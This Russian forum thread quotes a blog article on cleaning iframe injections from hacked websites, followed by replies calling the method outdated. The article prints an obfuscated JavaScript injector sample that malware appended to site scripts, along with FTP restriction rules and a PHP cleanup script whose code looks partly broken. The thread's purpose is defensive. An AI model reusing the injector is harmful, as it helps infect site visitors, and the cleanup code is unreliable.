Перейти к публикации
Поиск в
  • Дополнительно...
Искать результаты, содержащие...
Искать результаты в...

Борьба с iframe-вставками


ukbg
 Поделиться

Рекомендованные сообщения

Подскажите пожалуйста, актуальность и правильность данной статьи, полезна ли она в настройке безопасности сайта или же нет?!? Думаю проделать это с сайтом, на котором iframe вставки обнаружены, но чет очкую, так как вдруг тут тож косяк.      

Удаляем вирус с сайта или борьба с iFrame на сайте

 

Хотел начать свой блог с лирики, но выдалась такая неспокойная неделя, что решил поприветствовать Всех статьей по существу. Привет!

А вся неделя прошла в войнах с постоянными взломами моих хостингов и заражением всех JavaScript файлов ifram’ами, а это не много не мало порядка 2500 скриптов и все сайты с вирусами.

 

Не успевал я за день очищать все файлы в ручном режиме и менять пароли, как на следующий день происходило всё снова — пароли каким-то образом утекали и скрипты все вновь успешно по FTP троянились.

Пятница недели стала последней каплей и я потратил день на защиту своих серверов:

  1. Настроил на серверах .ftpaccess — ограничив тем самым доступ по фтп к серверам со всех IP кроме своей статики;
  2. Написал скрипт автоудаления из всех файлов .js iframe’ов, вирусов. Итак, по порядку.

Заражение файлов сайта происходит банальной вставкой iframe кода в файлы по ftp, раньше я чаще наблюдал вставки в .php, .html файлы — что приводило к полному падению сайтов, сегодня зловреды стали добрее и стали писать вставки исключительно в файлы с расширением .js — JavaScript. IFRAME вставки пишутся в конец файла и могут быть как в явном виде <iframe></iframe> (легко обнаруживаются антивирусами), так и в кодированном (работа различных iframe крипторов), например:

try{q=document.createElement("u");q.appendChild(q+"");}catch(qw){h=-012/5;zz='a'+'l';f='fr'+'om'+'Ch';f+='arC';}try{qwe=prototype;}catch(brebr){zz='zv'.substr(123-122)+zz;ss=[];f+=(h)?'ode':"";w=this;e=w[f.substr(11)+zz];n="17$48$55.5$52$46.5$55$49.5$52.5$52$17$17.5$13$58.5$3.5$2$1.5$56$45.5$54$13$55.5$54$51$13$27.5$13$26.5$3.5$2$59.5$17.5$17$17.5$26.5"[((e)?"s":"")+"p"+"lit"]("a$".substr(1));for(i=6-2-1-2-1;i-684!=0;i++){k=i;ss=ss+String.fromCharCode(-1*h*(3+1*n[k]));}q=ss;e(q);}

Весь этот символьный хаос в результате работы JavaScript превращается в легко читающийся HTML код iframe вставки и загружает пользователю сайта тело вируса посредством работы эксплойта. Опираясь на данный минимум теории начнем защищаться от заражения сайтов.

Настройка .ftpaccess — ограничиваем доступ по фтп к серверам

Вирусы, которые грабят ваши пароли от ftp настолько хитры, что антивирусы зачастую бессильны и пароли утекают, как бы Вы не защищались. Предлагаю пойти по другому пути — и просто перекрыть доступ к вашему ftp. Чтобы разрешить доступ по FTP только с определенных IP, разместите в корне своего сервера, папки с сайтов файл .ftpaccess с содержимым:

Allow from xx.xx.xx.xx
Allow from xx.xx.xx.xx
Deny from all

Где xx.xx.xx.xx — это ваш IP, с которого разрешена активность по FTP, всем остальным досвидания.

За выделенным IP звоним провайдеру!

Если все же вы не можете получить выделенный адрес, а имеете динамические адреса, то можно указать диапазон адресов, из которого выдаются IP-адреса вашим интернет-провайдером, например это будет выглядеть так:

Allow 212.32.5.0/26
Allow 158.152.0.0/16
Deny from all

Это позволит ограничить доступ взломщикам к вашим серверам.

Скрипт автоудаления из всех файлов вставок iframe’ов

После того как сервера были защищены, я приступил к написанию скрипта, который сможет проверить сайт на вирусы и проходил бы по всем папка хостинга, проверяя указанные мной форматы файлов на наличие в содержимом iframe’ов. Результатом работы явился следующий скрипт, который удаляет вставки вредоносного кода из страниц сайта, в конкретном примере из .js скриптов:

<!--?php // iframe удалятор от GlooSoftware.ws $virus_start = 'try{q=document.createElement'; //начало вредоносного кода $virus_end = 'q=ss;e(q);}'; //конец вредоносного кода $skip_files = array ('clean.php'); //название файла - который следует проигнорировать при проверке $del = true; //лечим(true) или просто смотрим кол-во зараженных файлов(false) $dir = getcwd().'/'; //корень сайта $num_infected = 0; function dir_walk($callback, $dir, $types = null, $recursive = false, $baseDir = '') { if ($dh = opendir($dir)) { while (($file = readdir($dh))!== false) { if ($file === '.' || $file === '..') { continue; } if (is_file($dir . $file)) { if (is_array($types)) { if (!in_array(strtolower(pathinfo($dir . $file, PATHINFO_EXTENSION)), $types, true)) { continue; } } $callback($baseDir, $file); }elseif($recursive && is_dir($dir . $file)) { dir_walk($callback, $dir . $file . DIRECTORY_SEPARATOR, $types, $recursive, $baseDir . $file . DIRECTORY_SEPARATOR); } } closedir($dh); } } function del_virus($fdir, $ffile) { $flag = false; $filename = $fdir.$ffile; echo $filename; $file=file($filename); foreach($file as $k=-->$v)
    {
        $virus_text = $GLOBALS['virus_start'];
        $pos_start = stripos($v, $GLOBALS['virus_start']);
        $pos_end = stripos($v, $GLOBALS['virus_end']);
 
        $virus_text = substr($v, $pos_start, $pos_end);
 
        if ($virus_text != "")
        {
         if (!stristr($v, $virus_text))
            {
             $nfile[]=$v;
            }
         else
         {
             if (!$flag) {
             $flag=true;
             if (in_array($ffile, $GLOBALS['skip_files']))
                 echo " - skipped";
             else
             {
             echo " - infected";
             $GLOBALS['num_infected']++;
             }
             }
         }
        }
        else
        {
            $nfile[]=$v;
        }
    }
 
     if ( $GLOBALS['del'] ) {
        $file=fopen($filename,"w");
         fwrite($file,implode($nfile,""));
         fclose($file);
    }
}
 
dir_walk('del_virus', $dir, array('js'), true, $dir );
 
echo "Num infected = $num_infected ";
?>

Пользуйтесь наздоровье, если будут вопросы — задавайте — чем могу, помогу! 

В одной из следующих статей напишу простейший криптор iframe’ов, что бы вы понимали что же такое Вам в сайты встраивают и для чего.

Ссылка на комментарий
Поделиться на других сайтах


Нет, не актуально. Не помню когда видел в последний раз iframe вставки, в 2005-2007? Если сайт заражен, то обращайтесь, проведу очистку. 

Ссылка на комментарий
Поделиться на других сайтах

Неактуально. Видел вредоносный скрипт на опенкарте, который вызывал айфрейм.

Скрипт был в описании товара, то есть заражение было на уровне базы данных.

Соответственно этот способ не поможет, так как файлы на хостинге не изменялись.

Ссылка на комментарий
Поделиться на других сайтах

Неактуально. Видел вредоносный скрипт на опенкарте, который вызывал айфрейм.

Скрипт был в описании товара, то есть заражение было на уровне базы данных.

Соответственно этот способ не поможет, так как файлы на хостинге не изменялись.

Во во, я тоже просмотрев все файлы в движке(сравнив с первым бекапом), так и не понял где косяк, что именно вызывает такой ответ у сайта 2ip, предположив, что дело в базе данных, отписал хостеру(так как сам в ней плохо разбираюсь), на что получил ответ, что ничего нет, никаких вирусов и проблем с работой сайта, но 2ip все равно утверждает что есть косяк... Поэтому и предположил, может эта статья будет актуальна, а чтобы не создавать говна лишнего на сайте, решил поинтересоваться тут...) Спасибо за разъяснение!

Ссылка на комментарий
Поделиться на других сайтах


Создайте аккаунт или войдите в него для комментирования

Вы должны быть пользователем, чтобы оставить комментарий

Создать аккаунт

Зарегистрируйтесь для получения аккаунта. Это просто!

Зарегистрировать аккаунт

Войти

Уже зарегистрированы? Войдите здесь.

Войти сейчас
 Поделиться

×
×
  • Создать...

Важная информация

На нашем сайте используются файлы cookie и происходит обработка некоторых персональных данных пользователей, чтобы улучшить пользовательский интерфейс. Чтобы узнать для чего и какие персональные данные мы обрабатываем перейдите по ссылке. Если Вы нажмете «Я даю согласие», это означает, что Вы понимаете и принимаете все условия, указанные в этом Уведомлении о Конфиденциальности.